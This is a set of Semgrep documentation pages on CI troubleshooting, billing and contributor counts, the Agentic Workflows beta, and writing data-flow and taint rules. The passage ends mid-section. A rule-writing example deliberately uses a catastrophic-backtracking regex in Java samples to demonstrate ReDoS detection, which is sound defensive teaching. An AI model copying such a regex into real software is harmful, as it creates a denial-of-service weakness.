### `semgrep-sast` crashes, fails, or is otherwise broken
Semgrep prints an error message to explain what went wrong upon crashes, and often also what to do to fix it.
The output of Semgrep is hidden by default, but [GitLab provides a way](https://docs.gitlab.com/ee/user/application_security/sast/#sast-debug-logging) to see it by setting an environment variable:
```yaml theme={null}
variables:
SECURE_LOG_LEVEL: "debug"
```
## Project-specific issues
A **project** is any repository you have added to Semgrep Cloud Platform for scanning. Refer to the following sections for issues in the **Semgrep AppSec Platform > Projects** page.
### If a project reports the last scan "Never started"
This status means that your CI job never authenticated to Semgrep AppSec Platform.
Check your CI provider (such as GitHub Actions) for the latest Semgrep job execution.
#### If you canβt find a Semgrep CI job
The issue is likely with the CI configuration.
* Make sure that the branch you committed a CI job to is included in the list of branches the job is triggered on.
* Make sure that the CI configuration file has valid syntax. Most providers have a tool for checking the syntax of configuration files.
#### If a Semgrep CI job exists
Check the log output for any hints about what the issue is.
* If the logs mention a missing token or an authentication failure, you can get a new token from the [**Settings > Tokens** page of Semgrep AppSec Platform](https://semgrep.dev/orgs/-/settings/tokens), and set it as `SEMGREP_APP_TOKEN` in your CI provider's secret management UI.
* Alternatively, if this is the first scan after adding a new GitHub repository, and the repository is a fork, check your Actions tab to see if workflows are enabled:
* Enable workflows by clicking **I understand my workflows, go ahead and enable them** to allow Semgrep to scan.
### If a project reports a scan 'Never finished'
Most often, this status means that the job started and authenticated correctly, but failed or was canceled before completion. Check your CI provider (such as GitHub Actions) for the log output of the latest Semgrep job execution. In most cases, you will see an error message with detailed instructions on what to do.
Sometimes, this status may be shown when the scan has been running for a long time (more than an hour) and is still in progress. Scans that eventually produce results will be accepted by Semgrep AppSec Platform, even if this message is shown.
#### If the job is aborted due to taking too long
Many CI providers have a time limit for how long a job can run. If your CI scans regularly take too long and fail to complete:
* Please [reach out](/support) to the Semgrep team for help with tracking down the cause. Semgrep scans most projects with hundreds of rules within a few minutes, and long run times are often caused by just one rule or source code file taking too long.
* To optimize run times, use Semgrep's diff-aware scanning in pull requests and merge requests to skip scanning unchanged files. For more details, see [Semgrep's behavior](/deployment/customize-ci-jobs).
* Skip scanning large and complex source code files (such as minified JS or generated code) if you know their path by adding a `.semgrepignore` file. See [how to ignore files & directories in Semgrep CI](/ignoring-files-folders-code).
# Update Semgrep
Source: https://docs.semgrep.dev/update
Stay up-to-date by running the latest version of Semgrep automatically in CI or your local CLI.
For Docker users, enter the following commands:
```bash theme={null}
docker pull semgrep/semgrep:latest
# confirm your Semgrep installation
docker run --rm semgrep/semgrep semgrep --version
```
You can also use the following commands in either your CLI or CI environment:
```bash theme={null}
# macOS, Linux, or Windows users using pipx (recommended)
pipx upgrade semgrep
# Or, using uv
uv tool upgrade semgrep
# macOS users only, using Homebrew (maintained on a
# best-effort basis; often lags behind the latest release)
brew upgrade semgrep
# confirm your Semgrep installation
semgrep --version
```
# How Semgrep calculates contributor count
Source: https://docs.semgrep.dev/usage-and-billing/contributor-count-explained
This page explains how Semgrep calculates contributor count beyond the [basic billing definition](/usage-and-billing/overview#contributor-counts). It is intended to help explain why Semgrep's contributor count may differ from your organization's internal estimate, and how Semgrep reduces double-counting when using repository history.
## Why contributor counts can be hard to calculate
Raw commit history does not always cleanly map to unique people. The same contributor can appear under multiple identities over time, including:
* Multiple company email addresses
* Email aliases or formatting variations
* GitHub-generated noreply addresses used in merge commits
Repository history can also include bots and automation accounts that should not count as human contributors. To make contributor counts more accurate, Semgrep applies normalization, deduplication, and filtering steps to the underlying commit data.
## How Semgrep reduces double-counting
Semgrep uses commit metadata from scanned repositories to identify likely duplicate identities and count them once.
This process can include:
* normalizing common email variations
* matching contributors who appear under multiple company domains
* resolving GitHub noreply addresses back to known contributor identities when possible
The goal is to better reflect distinct human contributors rather than counting every raw identity in commit history as a separate person.
## How Semgrep handles personal email addresses
Personal email addresses sometimes appear in repository history alongside company-managed identities. Personal emails are weak identifiers and are harder to match reliably across environments. Semgrep applies some filtering rules to reduce overcounting and also keeps a pre-filtered version of the data for auditing and comparison.
* If the primary domain for the deployment is a company domain, Semgrep does not count contributors who appear only with personal email addresses. It still counts contributors who have at least one company email address.
* If the primary domain for the deployment is a personal email domain, such as gmail.com, Semgrep counts only contributors whose email matches that domain. It does not count contributors who appear only with other personal email domains.
* If Semgrep cannot identify a primary domain, it does not apply personal email filtering.
## How Semgrep handles bots and automation accounts
Contributor count is intended to measure human contributors, not automated systems. Semgrep excludes known bot and automation accounts from the calculation using maintained exclusion lists informed by bot-related patterns in commit metadata.
## Public and private repositories
Public GitHub repositories that are explicitly set to be visible to everyone are excluded from contributor count calculations.
All GitHub Enterprise Server repositories are treated as private for this purpose, regardless of visibility.
## Why your internal estimate might differ
Your internal estimate of contributors may differ from Semgrepβs for the following reasons:
* One person appears under multiple identities in commit history
* Bots or service accounts are present in raw repository data
* Public repositories are excluded
* Personal email addresses cannot always be matched reliably
* Limited git history reduces the set of visible contributors
Because of this, contributor count should be understood as a usage metric based on observed repository activity over a defined period.
## Why git history matters
Contributor count depends on the commit history available at scan time. If a checkout includes limited history, Semgrep might not see every contributor active during the full 90-day lookback window.
## Questions about your contributor count
If you have questions about your contributor count, contact [Semgrep support](/support) or your account manager
# Usage and billing
Source: https://docs.semgrep.dev/usage-and-billing/overview
This document provides information on how Semgrep calculates usage for billing purposes and is intended for users with paid Semgrep Code, Supply Chain, or Secrets licenses.
## Contributor definition
A **contributor** is someone who has made at least **one** commit to a Semgrep-scanned **private** repository within the last 90 days, starting from the **date of license purchase** if a license was purchased, or the date of account creation, for accounts using Semgrep within usage limits.
Any Semgrep AppSec Platform scan counts towards the contributor total. This includes:
* Scanning with Semgrep Code, Secrets, or Supply Chain
* Full scans on a repository or partial scans on a pull request or merge request
Semgrep computes contributor counts for any scan initiated by a logged-in user running `semgrep ci` or `semgrep scan`. The `semgrep scan` command is subject to the usage limit when invoked by a logged-in contributor.
**FREE LICENSE**
Semgrep Code and Semgrep Supply Chain are free for organizations with **10 or fewer** monthly contributors. If your organization needs Code and Supply Chain licenses for more than 10 contributors, you must purchase **Team** licenses.
### Contributor counts
Semgrep calculates contributor counts using information from the `git log` over a rolling 90-day period. The start date is either:
* The date of your license purchase
* The date of your account creation, if you and your team are within usage limits
Semgrep tries to exclude **bots** and other automations as much as possible. Learn more about [how Semgrep calculates contributors](/usage-and-billing/contributor-count-explained).
#### Contributor usage across multiple Semgrep organizations
If your company creates multiple Semgrep organizations, the contributor limit applies to all of them. For example, if your company creates three Semgrep organizations, each with the following number of contributors:
* Organization 1 has 8 contributors
* Organization 2 has 9 contributors
* Organization 3 has 10 contributors
Your company has 27 contributors across three organizations, so you need licenses for all 27.
#### Small teams and startup licensing
Small teams may be eligible for Semgrep's discounted startup pricing. Fill out the [ startup pricing](https://semgrep.dev/contact/contact-us-startups) form to apply.
## AI credits
You can choose how much AI to use and scale AI-powered security features based on your organization's needs. Each Semgrep license, regardless of plan, includes a monthly allocation of AI credits so that you can choose the actions that best support your goals.
| Plan | AI credits per month |
| :--------- | :----------------------------------- |
| Free | 60 credits per month |
| Team | 20 credits per contributor per month |
| Enterprise | 50 credits per contributor per month |
If you have a **Team** or **Enterprise** plan, you can purchase additional credits as needed in increments of 10,000 credits.
Entitlement credits, or the credits that come with your Semgrep licenses, expire at the end of your contract and do *not* roll over. Credits that you purchase expire at the end of your contract, but they can be rolled over once to the following year.
### Credits required for AI actions
The following table lists the credits required for AI-powered features:
| Feature | AI credits required | What it does |
| :------------------------------------------------------------------------------------------ | :--------------------- | :----------------------------------------------------------------------------------------------------------------------------- |
| AI-powered pull request or merge request comments | 0 credits | Leaves AI guidance on pull requests or merge requests |
| AI analysis\* | 1 credit per finding | Provides triage, remediation guidance, and component tagging. Re-analysis due to Memories does not consume additional credits. |
| AI Autofix | 20 credits per finding | Creates a pull request or merge request to fix a finding |
| [AI-powered detection scanning](/semgrep-code/ai-powered-detection-concepts)\*\* | Variable per scan | Runs a full API-focused scan for issues such as IDOR and broken authorization |
| [Semgrep Agentic Workflows](/workflows/overview) (beta)\*\*\* | Variable per run | Runs multi-step detection using AI and deterministic tools across 70+ CWEs |
\*Includes autotriage, remediation guidance, and component tagging.
\*\*AI-powered detection scans use a variable number of credits per scan. Credit use depends on scan size and complexity, so larger or more complex scans may use more credits.
\*\*\*Agentic Workflows runs use a variable number of credits based on compute used and AI tokens consumed. Factors that impact credit usage include repository size, application structure, and the number of API methods it defines. Agentic Workflows typically use more credits than AI-powered detection scans because Agentic Workflows perform broader, multi-step analyses. Start with a small set of important projects before expanding Agentic Workflows coverage to minimize the number of AI tokens required.
## How to determine your plan needs
Within your team or organization, assess the number of **contributors**. Contributors are members of your organization who make commits. That determines the number of **licenses** needed for the plan purchase.
For example, if a project has 4 unique contributors who create commits during the billing period while Semgrep is scanning their repositories, only 4 licenses are required, even if the organization has 10 members. Contributors are counted only once, even if they commit to many projects within the same organization, so no additional licenses are required.
All members of the organization, regardless of contributor (license) status, have access to paid features for the chosen tier. This means that project managers and other non-programming roles can still view the Semgrep AppSec Platform dashboard.
### Determine AI credit requirements
Contact Semgrep if you would like assistance determining the number of credits your organization needs in a year.
## Excess usage
Semgrep scans stop if you have too many contributors. You can resume scanning by:
* Purchasing additional licenses. See \[Additional usage and reconciliation of licenses] for additional information on how these purchases affect your account.
* Waiting for the next billing cycle, which is when your usage limits reset.
If you're using a free license, Semgrep automatically starts a free trial of the **Teams** plan for you if it is the first time that you exceed your usage limits.
There are no contributor limits on public projects.
### Exceeding your AI credit allotment
If you exceed your allotment of AI credits:
* AI autotriage continues to work, but you'll be warned that you're over your credit allotment
* AI-powered detection scans, autofixes, and Agentic Workflows runs stop
# Upgrade your Semgrep subscription plan
Source: https://docs.semgrep.dev/usage-and-billing/plan-changes-and-payments
To upgrade your Semgrep subscription from the **Free** plan to the **Team** plan using a credit card as the payment method:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > Usage & billing**.
Choose the products that you want to upgrade, and click **Upgrade**.
Review the details of your order, and ensure that the number of licenses you're purchasing is accurate.
Provide your payment details, and click **Subscribe**.
To purchase licenses for Semgrep Secrets or to upgrade to the **Enterprise** plan, contact [Semgrep Sales](mailto:sales@semgrep.com).
## Billing
Users with the **Team** plan who pay using a credit card are charged monthly. Payments are processed through Stripe. To change the credit card on file for your Semgrep account, contact [Semgrep billing](mailto:billing@semgrep.com).
If you would like to pay through a purchase order or invoice, contact [Semgrep billing](mailto:billing@semgrep.com).
Enterprise plan users are charged on an agreed-upon billing cycle. For any concerns, including questions about custom payment methods and billing cycles, contact [Semgrep Sales](mailto:sales@semgrep.com).
## Modify or cancel your plan
To modify or cancel your plan, contact [Semgrep billing](mailto:billing@semgrep.com).
# Additional usage and reconciliation of licenses
Source: https://docs.semgrep.dev/usage-and-billing/reconciliation
If your organization uses more licenses than purchased for the contract period, you will be charged for each extra license starting the month after the overage occurs.
Contact your Semgrep Account Executive if you need more licenses than initially purchased.
## Example of license reconciliation
On January 21, you purchased annual licenses of Semgrep Supply Chainβs Team tier for 50 developers. The twenty-first of the month is the start date of the annual contract. The contract started that day. On February 28, you used 70 licenses, exceeding your original purchase by 20. This requires a contract adjustment.
Contract adjustment:
* Because the organizationβs usage exceeded the allocated licenses on February 28, March 21 is designated as the adjustment date in accordance with contract terms and reflects the 10 months remaining in the contract.
* The extra charge is the cost per developer multiplied by 10 months and 20 users.
# What's New
Source: https://docs.semgrep.dev/whats-new/index
Highlights of new Semgrep product features shipped each week.
Curated feature highlights from recent Semgrep releases. For the complete list of changes, see the [full release notes](/release-notes/2026-08-03).
## [Week of August 3, 2026](/release-notes/2026-08-03)
* **Unified policies migration schedule**: Semgrep will start migrating some organizations to [unified policies](/semgrep-appsec-platform/unified-policies/overview) on August 24, 2026, and will sunset the current version of Policies on November 1, 2026.
* **Projects findings counts**: Findings counts on the **Projects** page now include **Reviewing** and **To fix** findings, in addition to **Open**.
**[Read the full release notes β](/release-notes/2026-08-03)**
## [Week of July 27, 2026](/release-notes/2026-07-27)
* **[Semgrep Agentic Workflows](/workflows/overview) is in public beta**: Run multi-step AI-enabled detection pipelines from Semgrep AppSec Platform. See [Get started with Semgrep Agentic Workflows](/workflows/get-started).
* **Supply Chain incident Slack notifications**: Released a default Supply Chain incident notification policy to all Supply Chain customers using [Unified policies](/semgrep-appsec-platform/unified-policies/overview). You can also configure a Slack channel to be notified during an ongoing Supply Chain incident, including whether you might be affected based on your most recent SBOM.
* **License compliance for multi-licensed packages**: You can configure [license compliance](/semgrep-supply-chain/license-compliance) to block a dependency only when all of its licenses are blocked, instead of when any license is blocked.
**[Read the full release notes β](/release-notes/2026-07-27)**
## [Week of July 13, 2026](/release-notes/2026-07-13)
* **[Unified policies](/semgrep-appsec-platform/unified-policies/overview) is generally available**: Choose the rules and rulesets used for Semgrep scans and define what happens after Semgrep identifies a finding, such as leaving PR or MR comments, blocking PRs or MRs, creating Jira tickets, or sending Slack notifications.
**[Read the full release notes β](/release-notes/2026-07-13)**
## [Week of July 6, 2026](/release-notes/2026-07-06)
* **Archive projects in Semgrep**: You can archive a project from **Project settings**. Projects archived in Semgrep appear on an **Archived** tab with an archived badge, alongside projects archived in your source code manager.
* **Vulnerability class conditions**: Remediation policy automations can now be scoped to a vulnerability class such as SQL Injection or Path Traversal.
**[Read the full release notes β](/release-notes/2026-07-06)**
# Get started with Semgrep Agentic Workflows (beta)
Source: https://docs.semgrep.dev/workflows/get-started
Run Semgrep Agentic Workflows from Semgrep AppSec Platform and review issues.
Semgrep Agentic Workflows is in **beta**. Beta features are subject to change with continued internal benchmarking and customer feedback.
This page explains how to run Semgrep Agentic Workflows and review issues. For concepts, coverage, credit usage, and how Agentic Workflows compare to other Semgrep analysis, see the [Overview](/workflows/overview).
## Prerequisites
* Your organization must use [Semgrep AppSec Platform](https://semgrep.dev/orgs/-/) with a paid subscription.
* You must be an organization [Admin](/deployment/teams/overview#roles-and-access). During the beta, only Admins can start Agentic Workflows runs.
* Semgrep AppSec Platform must be [connected to a supported source code manager](/getting-started/scm-support) and have [code access](/semgrep-appsec-platform/scm-code-access) to the repositories you want to analyze. See [SCM permissions](/deployment/prepare/scm-permissions) for the scopes Semgrep needs. You **do not** need to use [Semgrep Managed Scans](/deployment/managed-scanning/overview) to run Agentic Workflows.
* Your organization must allow AI features to run in Semgrep-managed infrastructure:
* You must have enabled [Semgrep Multimodal](/semgrep-multimodal/getting-started#enable-multimodal) for your organization.
* You must have enabled [AI-powered scans](/deployment/add-ai-to-scans#enable-or-disable-ai-powered-detection) for your organization.
* Your organization must have enough [AI credits](/workflows/overview#credit-usage-and-billing) to run the selected workflows.
If your deployment is not ready, Semgrep AppSec Platform shows an activation prompt that directs you to the settings you need to configure first.
## Unsupported configurations
During the beta:
* CI-based execution is not supported. Agentic Workflows runs as a Semgrep-hosted service.
* You must leave the default AI providers enabled. Agentic Workflows does not support bring your own key (BYOK) or [minimal data retention (MDR)](/semgrep-multimodal/privacy#minimal-data-retention-policy-optional). If you use these configurations, you cannot run Agentic Workflows.
If your organization meets one of these criteria, contact your Semgrep account executive for more information.
## Run Agentic Workflows
You can start Agentic Workflows from the **Projects** page in Semgrep AppSec Platform.
You can also start a single Agentic Workflows run from a project's **Details** page.
To start a run:
1. In Semgrep AppSec Platform, go to **Projects**.
2. Select one or more projects to analyze.
3. Click **Run a new scan > Run workflows**.
4. Choose which workflows to run:
* **Run Semgrep's default** to run the recommended workflow pack, which combines all nine [available workflows](/workflows/overview#available-workflows).
* **Select individual workflows** to run one or more workflows from the [list of nine available workflows](/workflows/overview#available-workflows). Review the workflow descriptions to understand their expected coverage.
5. The workflow runs on the primary project branch by default. Uncheck the box to specify a different branch.
6. Click **Run workflows**.
Each on-demand request creates an Agentic Workflows run. A run can contain one or more **[jobs](/workflows/overview#how-agentic-workflows-work)** that perform the analysis on that repository.
To view the jobs for a run, open the **Workflow jobs** tab on the **Project Details** page.
After the run completes, review the results in Semgrep AppSec Platform to see the detection [issues](#review-agentic-workflows-issues) produced by the workflow.
## Review Agentic Workflows issues
Agentic Workflows produces [issues](/workflows/overview#how-agentic-workflows-work): deduplicated results you review in Semgrep AppSec Platform. Issues are separate from Semgrep Code, Semgrep Supply Chain, and Secrets findings. Actions taken on an Agentic Workflows issue do not change the status of a related finding from another Semgrep product.
To review issues:
1. In Semgrep AppSec Platform, go to **Workflows**.
2. Optionally, filter the list by the criteria you choose, or select **Group and sort** to customize how issues are displayed.
3. Select an issue to open its **Details** page and review the evidence, affected repository and code, workflow run, and issue status.
You can triage an issue from the dropdown on the issues list or from the drop-down menu next to the issue title on the **Details** page.
### Notifications and integrations
Configure Agentic Workflows notifications with [Unified policies](/semgrep-appsec-platform/unified-policies/overview). Use a remediation policy that runs when a workflow job finishes.
To configure a notification:
1. In Semgrep AppSec Platform, go to **Rules & Policies > Policies**.
2. Open the **Remediation** tab, then click **Create policy**.
3. Select the event **A workflow job finishes**.
4. Choose the scope, conditions, and actions for the policy, then click **Save**.
## Expand coverage gradually
Because Agentic Workflow runs consume [AI credits](/workflows/overview#credit-usage-and-billing), Semgrep recommends starting with a small set of high-value repositories and avoiding runs across all your projects until you understand the results and usage for your environment.
Semgrep recommends the following rollout process:
1. Select a few important repositories that represent your primary languages, frameworks, and application architectures.
2. Run the Semgrep-recommended workflows. Optionally, skip workflows that you know aren't relevant to the risks in those repositories.
3. Review the resulting issues for accuracy and usefulness.
4. Share feedback with Semgrep, including missed vulnerabilities, unexpected results, and unclear issue details.
5. Expand runs to more repositories after you understand expected results and credit consumption.
Contact [Semgrep Support](/support) or your account executive to provide feedback during the beta period.
## API access
The Agentic Workflows API is experimental during the beta. Experimental APIs can change or be removed without notice and are not covered by Semgrep's standard API stability guarantees. Do not rely on the API for production automation.
# Semgrep Agentic Workflows (beta)
Source: https://docs.semgrep.dev/workflows/overview
Learn how Semgrep Agentic Workflows run multi-step AI-enabled detection on a repository.
Semgrep Agentic Workflows is in **beta**. Beta features are subject to change with continued internal benchmarking and customer feedback.
Semgrep Agentic Workflows encodes multi-step application security analysis as reproducible pipelines. A single Agentic Workflows pipeline can run several analysis steps in sequence. It takes code and security context as input, combines program analysis, deterministic tools, and constrained AI-based reasoning, and produces reviewable security issues.
During the beta, Semgrep Agentic Workflows provides a curated set of vulnerability **detection** workflows that you run from **Semgrep AppSec Platform**.
To run Agentic Workflows for the first time, see [Get started with Semgrep Agentic Workflows (beta)](/workflows/get-started).
## Agentic Workflows versus other Semgrep analysis
Semgrep Agentic Workflows performs targeted analysis that combines multiple analysis techniques and reasoning steps. It complements Semgrep Code's rule-based scanning and AI-powered detection.
The following table compares Semgrep detection options. For the nine Agentic Workflows and the classes they target, see [Detection coverage](#detection-coverage).
| Analysis | Coverage | How it works | Output |
| ------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| [Semgrep Code](/semgrep-code/overview) | Known insecure patterns defined in Semgrep rules. | Applies deterministic rules to source code. | Code findings |
| [AI-powered detection scans](/semgrep-code/ai-powered-detection-concepts) | Business-logic flaws that are difficult to express as generic rules, such as IDORs and broken authorization. | Uses AI-based analysis together with Semgrep program analysis. | AI-powered detection findings |
| [Semgrep Agentic Workflows](/workflows/get-started) | On-demand detection across 70+ [CWEs](https://cwe.mitre.org/), including common injection, XSS, SSRF, cryptography, and broader web, API, and crypto security analysis. | Runs a built-in sequence of analysis steps, such as specialized analyzers and AI reasoning, against a selected repository. | Agentic Workflows issues |
## How Agentic Workflows work
The following concepts describe how analysis is organized:
* **Agentic Workflows**: A reusable definition of an application security pipeline. It specifies the analysis to perform and the type of issue or coverage objective to evaluate.
* **Run**: An on-demand request to execute one or more Agentic Workflows against a selected repository. A run can include one or more jobs.
* **Job**: One execution of an Agentic Workflow against a single repository.
* **Finding**: The immutable raw output of a single detection workflow job. Findings appear on the job details page after a job finishes.
* **Issue**: The deduplicated, processed output of the pipeline. Issues appear on the **Workflows** page in Semgrep AppSec Platform and include the evidence and context available from the run.
When you start Agentic Workflows, Semgrep clones the repository through its source code manager connection. The workflow runs its jobs and produces findings. Semgrep processes and deduplicates those findings into reviewable issues. You can monitor jobs on the **Projects** page and then review issues on the **Workflows** page in Semgrep AppSec Platform.
## Detection coverage
During the beta, Semgrep offers nine pre-built detection workflows. Together, these workflows cover 70+ [CWEs](https://cwe.mitre.org/), including common injection, XSS, SSRF, and cryptography issues, as well as broader web, API, and crypto security analysis. This coverage is **additional** to what [Semgrep Code](/semgrep-code/overview) and [AI-powered detection](/semgrep-code/ai-powered-detection-concepts) already cover.
**Semgrep's default** workflow runs all nine of these workflows.
Coverage depends on the workflow, repository language, framework, and available code context. A workflow might not analyze every file or detect every instance of a vulnerability class. Continue to use Semgrep Code and Semgrep Supply Chain for continuous rule-based scanning.
### Available workflows
| Workflow | What it finds |
| --------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| SQL injection | Traces user-controlled data into dynamic queries that lack effective parameter binding or allow-list validation. |
| XSS | Traces user-controlled input to unsafe HTML rendering sinks, across reflected, stored, and DOM-based cases. |
| SSRF | Traces user-controlled data into network requests that lack effective validation. |
| Command injection | Traces untrusted input to shell and process-execution APIs across supported languages. |
| NoSQL injection | Traces untrusted input into query and scripting operations in MongoDB, Redis, and Elasticsearch. |
| Crypto weak hash | Flags security-sensitive use of MD2, MD4, MD5, and SHA-1, while filtering out benign checksum, cache-key, and identifier uses. |
| Broad web security | Audits application code across web, API, cryptography, access control, and AI security, then filters by confidence and exploitability. |
| Broad API security | Audits REST, GraphQL, gRPC, SOAP, JSON-RPC, and webhook APIs, then prioritizes findings by exploitability. |
| Broad crypto security | Audits cryptography, password hashing, key management, signatures, randomness, and TLS, then prioritizes by exploitability. |
## Credit usage and billing
Agentic Workflows runs consume [AI credits](/usage-and-billing/overview#ai-credits). The amount of credits used for each run is shown in the **Workflow jobs** view for each project. If a run fails, Semgrep still debits credits for any steps that already completed. See [Usage and billing](/usage-and-billing/overview#ai-credits) for details.
## Beta limitations
During the beta:
* Runs must be started on demand. Scheduled runs are not available.
* Only organization [Admins](/deployment/teams/overview#roles-and-access) can start Agentic Workflows runs.
* Creating, modifying, or publishing custom Agentic Workflows is not supported.
* Agentic Workflows runs only as a Semgrep-hosted service. Local CLI execution and customer CI environments are not supported.
* Agentic Workflows issues are shown separately from findings created by other types of scans.
* The API is experimental and can change.
* Some deployment configurations are unsupported. See [Unsupported configurations](/workflows/get-started#unsupported-configurations).
* Detection coverage and supported repositories vary by workflow.
## Next steps
See [Get started](/workflows/get-started) to run your first Agentic Workflows.
# Constant propagation
Source: https://docs.semgrep.dev/writing-rules/data-flow/constant-propagation
Constant propagation tracks whether a variable \_must\* carry a constant value at a given point in the program. Semgrep performs constant folding when matching literal patterns. Semgrep can track Boolean, numeric, and string constants.
Semgrep AppSec Platform supports interprocedural (cross-function), interfile (cross-file) constant propagation. Semgrep Community Edition (CE) supports intrafile (single-file) constant propagation.
## `metavariable-comparison`
Using constant propagation, the [`metavariable-comparison`](/writing-rules/rule-syntax/#metavariable-comparison) operator works with any constant variable instead of just literals.
## Mutable objects
In general, Semgrep assumes that constant objects are immutable and won't be modified by function calls. This can lead to false positives, especially in languages where strings are mutable, such as C and Ruby.
The only exceptions are method calls whose returning value is ignored. In these cases, Semgrep assumes that the method call may be mutating the object that's called. This helps reduce false positives in Ruby. For example:
If constant propagation doesn't seem to work, consider whether the constant may be unexpectedly mutable. For example, given the following rule designed to taint the `REGEX` class variable:
```yaml theme={null}
rules:
- id: redos-detection
message: Potential ReDoS vulnerability detected with $REGEX
severity: HIGH
languages:
- java
mode: taint
options:
symbolic_propagation: true
pattern-sources:
- patterns:
- pattern: $REDOS
- metavariable-analysis:
analyzer: redos
metavariable: $REDOS
pattern-sinks:
- pattern: Pattern.compile(...)
```
Semgrep fails to match its use in `Test2` when presented with the following code:
```java theme={null}
import java.util.regex.Pattern;
public String REGEX = "(a+)+$";
public class Test2 {
public static void main(String[] args) {
Pattern pattern = Pattern.compile(REGEX);
}
}
```
However, if you change the variable from `public` to `private`, Semgrep returns a match:
```java theme={null}
import java.util.regex.Pattern;
private String REGEX = "(a+)+$";
public class Test2 {
public static void main(String[] args) {
Pattern pattern = Pattern.compile(REGEX);
}
}
```
Because `REGEX` is public in the first code snippet, Semgrep doesn't propagate its value to other classes on the assumption that it could have mutated. However, in the second example, Semgrep understands that `REGEX` is private and only assigned to once. Therefore, Semgrep assumes it is immutable.
The rule would also work with:
```java theme={null}
...
public final String REGEX = "(a+)+$";
...
```
## Disable constant propagation
You can disable constant propagation on a per-rule basis using rule [`options:`](/writing-rules/rule-syntax/#options) by setting `constant_propagation: false`.
# Dataflow analysis engine overview
Source: https://docs.semgrep.dev/writing-rules/data-flow/data-flow-overview
Semgrep provides an intraprocedural data-flow analysis engine that opens various Semgrep capabilities. Semgrep provides the following data-flow analyses:
* [Constant propagation](/writing-rules/data-flow/constant-propagation) allows Semgrep to, for example, match `return 42` against `return x` when `x` can be reduced to `42` by constant folding. There is also a specific experimental feature of [Constant propagation](/writing-rules/data-flow/constant-propagation), called [Symbolic propagation](/writing-rules/experiments/symbolic-propagation).
* [Taint tracking (known also as taint analysis)](/writing-rules/data-flow/taint-mode/overview) enables you to write simple rules that catch complex [injection bugs](https://owasp.org/www-community/Injection_Flaws), such as those that can result in [cross-site scripting (XSS)](https://owasp.org/www-community/attacks/xss/).
All dataflow-related features are available for Semgrep's [supported languages](/supported-languages). Interfile (cross-file) analysis also supports dataflow analysis. For more details, see [ Perform cross-file analysis](/semgrep-code/semgrep-pro-engine-intro).
**INFO**
Ensure that you understand the [design trade-offs](#design-trade-offs) and limitations of the dataflow engine. For further details, see [dataflow status](#data-flow-status).
If you are interested in requesting a new dataflow analysis, please [let us know](https://github.com/semgrep/semgrep/issues/new/choose). If you can code in OCaml, your contribution is welcome. See [Contributing](/contributing/contributing) for more details.
## Design trade-offs
Semgrep strives for simplicity and offers lightweight and fast static analyses. In addition to being intraprocedural, here are some other trade-offs:
* No path sensitivity: All *potential* execution paths are considered, even though some may not be feasible.
* No pointer or shape analysis: *Aliasing* that happens in non-trivial ways may not be detected, such as through arrays or pointers. Individual elements in arrays or other data structures are not tracked. The dataflow engine supports limited field sensitivity for taint tracking, but not for constant propagation.
* No soundness guarantees: Semgrep ignores the effects of `eval`-like functions on the program state. It doesnβt make worst-case sound assumptions, but rather "reasonable" ones.
Expect both false positives and false negatives. You can remove false positives in different ways, such as using [pattern-not](/writing-rules/rule-syntax#pattern-not) and [pattern-not-inside](/writing-rules/rule-syntax#pattern-not-inside). If you encounter any problems, [create an issue](https://github.com/semgrep/semgrep/issues/new/choose) to open a feature request if Semgrep misses a difficult bug you want to catch.
## Dataflow status
In principle, the dataflow analysis engine, which provides taint tracking, constant propagation, and symbolic propagation, can run on any language [supported by Semgrep](/supported-languages). However, the level of support is lower than for the regular Semgrep matching engine.
When Semgrep performs an analysis of the code, it creates an **abstract syntax tree** (AST), which is then translated into an analysis-friendly **intermediate language** (IL). Subsequently, Semgrep runs mostly language-agnostic analysis on IL. However, this translation is not fully complete.
**CAUTION**
There can be features of some languages that Semgrep does not analyze correctly while using dataflow analysis. Consequently, Semgrep does not fail even if it finds an unsupported construct. The analysis continues while the construct is ignored. This can result in Semgrep not matching some code that should be matched (false negatives) or matching a code that should not be matched (false positives).
Please help Semgrep improve by [reporting any issues you encounter](https://github.com/semgrep/semgrep/issues/new/choose).
# Dataflow status
Source: https://docs.semgrep.dev/writing-rules/data-flow/status
In principle, the dataflow analysis engine, which provides taint tracking, constant propagation, and symbolic propagation, can run on any language [supported by Semgrep](/supported-languages). However, the level of support is lower than for the regular Semgrep matching engine.
When Semgrep performs an analysis of the code, it creates an **abstract syntax tree** (AST), which is then translated into an analysis-friendly **intermediate language** (IL). Subsequently, Semgrep runs mostly language-agnostic analysis on IL. However, this translation is not fully complete.
**CAUTION**
There can be features of some languages that Semgrep does not analyze correctly while using dataflow analysis. Consequently, Semgrep does not fail even if it finds an unsupported construct. The analysis continues while the construct is ignored. This can result in Semgrep not matching some code that should be matched (false negatives) or matching a code that should not be matched (false positives).
Please help Semgrep improve by [reporting any issues you encounter](https://github.com/semgrep/semgrep/issues/new/choose).
# Advanced taint analysis techniques
Source: https://docs.semgrep.dev/writing-rules/data-flow/taint-mode/advanced
This page covers advanced taint analysis techniques for use when writing rules to catch complex injection bugs. If you are new to writing taint mode rules, begin with [Overview](/writing-rules/data-flow/taint-mode/overview).
## Taint by side effect
### Taint sources by side effect
Consider the following Python code, where `make_tainted` is a function that makes its argument tainted by side effect:
```python theme={null}
make_tainted(my_set)
sink(my_set)
```
This kind of source can be specified by setting `by-side-effect: true`:
```yaml theme={null}
pattern-sources:
- patterns:
- pattern: make_tainted($X)
- focus-metavariable: $X
by-side-effect: true
```
When `by-side-effect: true` is enabled and the source specification matches a variable, or more generally, an [l-value](https://en.wikipedia.org/wiki/Value_\(computer_science\)#lrvalue) exactly, then Semgrep assumes that the variable, or l-value, becomes tainted by side effect at the places where the source specification produces a match.
The matched occurrences themselves are considered tainted; that is, the occurrence of `x` in `make_tainted(x)` is itself tainted too. If you do not want this to be the case, then set `by-side-effect: only` instead.
**NOTE**
You must use `focus-metavariable: $X` to focus the match on the l-value that you want to taint; otherwise, `by-side-effect` does not work.
If the source doesn't set `by-side-effect`, then only the very occurrence of `x` in `make_tainted(x)` will be tainted, not the occurrence of `x` in `sink(x)`. The source specification matches only the first occurrence, and without `by-side-effect: true`, Semgrep does not recognize that `make_tainted` updates the variable `x` by side effect. Thus, a taint rule using such a specification does not produce any finding.
Before the implementation of `by-side-effect`, the following example was the official workaround to obtain similar behavior:
